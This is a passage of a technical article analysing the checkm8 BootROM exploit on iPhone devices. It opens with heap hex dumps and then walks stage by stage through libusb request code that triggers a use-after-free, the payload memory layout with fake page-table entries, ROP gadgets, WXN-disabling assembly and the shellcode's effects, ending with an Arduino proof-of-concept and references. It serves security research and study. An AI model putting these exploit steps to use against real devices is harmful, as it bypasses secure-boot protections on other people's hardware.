00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 

You can also achieve an interesting effect by overflowing the configuration descriptors High Speed and Full Speed that are located right after the IO buffer. One of the fields of a configuration descriptor is responsible for its overall length. By overflowing this field, we can read beyond the descriptor. You can try and do it yourself by modifying the exploit.


2. Allocation and freeing of the IO buffer without clearing the global state


 device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) 

At this stage, an incomplete OUT request for uploading the image is created. At the same time, a global state is initialized, and the address of the buffer in the heap is written to the io_buffer . Then, DFU is reset with a DFU_CLR_STATUS request, and a new iteration of DFU begins.


3. Overwriting usb_device_io_request in the heap with use-after-free


 device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) 

At this stage, a usb_device_io_request type object is allocated in the heap, and it is overflown with t8010_overwrite , whose content was defined at the first stage.


The values of t8010_nop_gadget and 0x1800B0800 should overflow the fields callback and next of the usb_device_io_request structure.


t8010_nop_gadget is shown below and conforms to its name, but besides function return, the previous LR register is restored, and because of that the call free is skipped after the callback function in usb_core_complete_endpoint_io . This is important, because we damage the heap's metadata due to overflow, which would affect the exploit in case of a freeing attempt.


 bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

next points to INSECURE_MEMORY + 0x800 . Later, INSECURE_MEMORY will store the exploit's payload, and at the offset of 0x800 in the payload, there is a callback-chain , which we'll discuss later on.


4. Placing the payload


 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) 

At this stage, every following packet is put into the memory area allocated for the image. The payload looks like this:


 0x1800B0000: t8010_shellcode # initializing shell-code ... 0x1800B0180: t8010_handler # new usb request handler ... 0x1800B0400: 0x1000006a5 # fake translation table descriptor # corresponds to SecureROM (0x100000000 -> 0x100000000) # matches the value in the original translation table ... 0x1800B0600: 0x60000180000625 # fake translation table descriptor # corresponds to SecureRAM (0x180000000 -> 0x180000000) # matches the value in the original translation table 0x1800B0608: 0x1800006a5 # fake translation table descriptor # new value translates 0x182000000 into 0x180000000 # plus, in this descriptor,there are rights for code execution 0x1800B0610: disabe_wxn_arm64 # code for disabling WXN 0x1800B0800: usb_rop_callbacks # callback-chain 

5. Execution of callback-chain


 dfu.usb_reset(device) dfu.release_device(device) 

After USB reset, the loop of canceling incomplete usb_device_io_request in the queue by going through a linked list is started. In the previous stages, we replaced the rest of the queue, which allows us to control the callback chain. To build this chain, we use this gadget:


 bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

As you can see, at the offset of 0x70 from the pointer to the structure, the call's address and its first argument are loaded. With this gadget, we can easily make any f(x) type calls for arbitrary f and x .


The entire call chain can be easily emulated with Unicorn Engine . We did it with our modified version of the plugin uEmu .



The results of the entire chain for iPhone 7 can be found below.


5.1. dc_civac 0x1800B0600


 000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET 

Clearing and invalidating the processor's cache at a virtual address. This will make the processor address our payload later.


5.2. dmb


 0000000100000478: DMB SY 000000010000047C: RET 

A memory barrier that guarantees the completion of all operations with the memory done before this instruction. Instructions in high-performance processors can be executed in an order different from the programmed one for the purpose of optimization.


5.3. enter_critical_section()


Then, interrupts are masked for the atomic execution of further operations.


5.4. write_ttbr0(0x1800B0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

A new value of the table register TTBR0_EL1 is set in 0x1800B0000 . It is the address of INSECURE MEMORY where the exploit's payload is stored. As was mentioned before, the translation descriptors are located at certain offsets in the payload:


 ... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ... 

5.5. tlbi


 0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET 

The translation table is invalidated in order to translate addresses according to our new translation table.


5.6. 0x1820B0610 - disable_wxn_arm64


 MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET 

WXN (Write permission implies Execute-never) is disabled to allow us execute code in RW memory. The execution of the WXN disabling code is possible due to the modified translation table.


5.7. write_ttbr0(0x1800A0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

The original value of the TTBR0_EL1 translation register is restored. It is necessary for the correct operation of BootROM during the translation of virtual addresses because the data in INSECURE_MEMORY will be overwritten.


5.8. tlbi


The translation table is reset again.


5.9. exit_critical_section()


Interrupt handling is back to normal.


5.10. 0x1800B0000


Control is transferred to the initializing shellcode .


Thus, the main task of callback-chain is to disable WXN and transfer control to the shellcode in RW memory.


6. Execution of shellcode


The shellcode is in src/checkm8_arm64.S and does the following:


6.1. Overwriting USB configuration descriptors


In the global memory, two pointers to configuration descriptors usb_core_hs_configuration_descriptor and usb_core_fs_configuration_descriptor located in the heap are stored. In the third stage, these descriptors were damaged. They are necessary for the correct interaction with a USB device, so the shellcode restores them.


6.2. Changing USBSerialNumber


A new string descriptor with a serial number is created with a substring " PWND:[checkm8]" added to it. This will help us understand if the exploit was successful.


6.3. Overwriting the pointer of the USB request handler


The original pointer to the handler of USB requests to the interface is overwritten by a pointer to a new handler, which will be placed in the memory at the next step.


6.4. Copying USB request handler into TRAMPOLINE memory area ( 0x1800AFC00 )


Upon receiving a USB request, the new handler checks the wValue of the request against 0xffff and if they're not equal, it transfers control back to the original handler. If they are equal, various commands can be executed in the new handlers, like memcpy , memset , and exec (calling an arbitrary address with an arbitrary set of arguments).


Thus, the analysis of the exploit is complete.


The implementation of the exploit at a lower level of working with USB


As a bonus and an example of the attack at lower levels, we published a Proof-of-Concept of the checkm8 implementation on Arduino with USB Host Shield . The PoC works only for iPhone 7 but can be easily ported to other devices. When an iPhone 7 in DFU mode is connected to USB Host Shield , all the steps described in this article will be executed, and the device will enter PWND:[checkm8] mode. Then, it can be connected to a PC via USB to work with it using ipwndfu (to dump memory, use crypto keys, etc.). This method is more stable than using asynchronous requests with a minimal timeout because we work directly with the USB controller. We used the USB_Host_Shield_2.0 library. It needs minor modifications; the patch file is also in the repository.



In place of a conclusion


Analyzing checkm8 was very interesting. We hope that this article will be useful for the community and will motivate new research in this area. The vulnerability will continue to influence the jailbreak community. A jailbreak based on checkm8 is already being developed — checkra1n , and since the vulnerability is unfixable, it will always work on vulnerable chips ( A5 to A11 ) regardless of the iOS version. Plus, there are many vulnerable devices, like iWatch , Apple TV , etc. We expect more interesting projects for Apple devices to come.


Besides jailbreak, this vulnerability will also influence the researchers of Apple devices. With checkm8 , you can already boot iOS devices in verbose mode, dump SecureROM , or use the GID key to decrypt firmware images. Although, the most interesting application for this exploit would be entering debug mode on vulnerable devices with a special JTAG/SWD cable . Before that, it could only be done with special prototypes that are extremely hard to get or with the help of special services . Thus, with checkm8 , Apple research becomes way easier and cheaper.


Referenzen


  1. Jonathan Levin, *OS Internals: iBoot
  2. Apple, iOS Security Guide
  3. littlelailo, apollo.txt
  4. usb.org
  5. USB in a NutShell
  6. ipwndfu
  7. an ipwndfu fork from LinusHenze

Source: https://habr.com/ru/post/de472762/


All Articles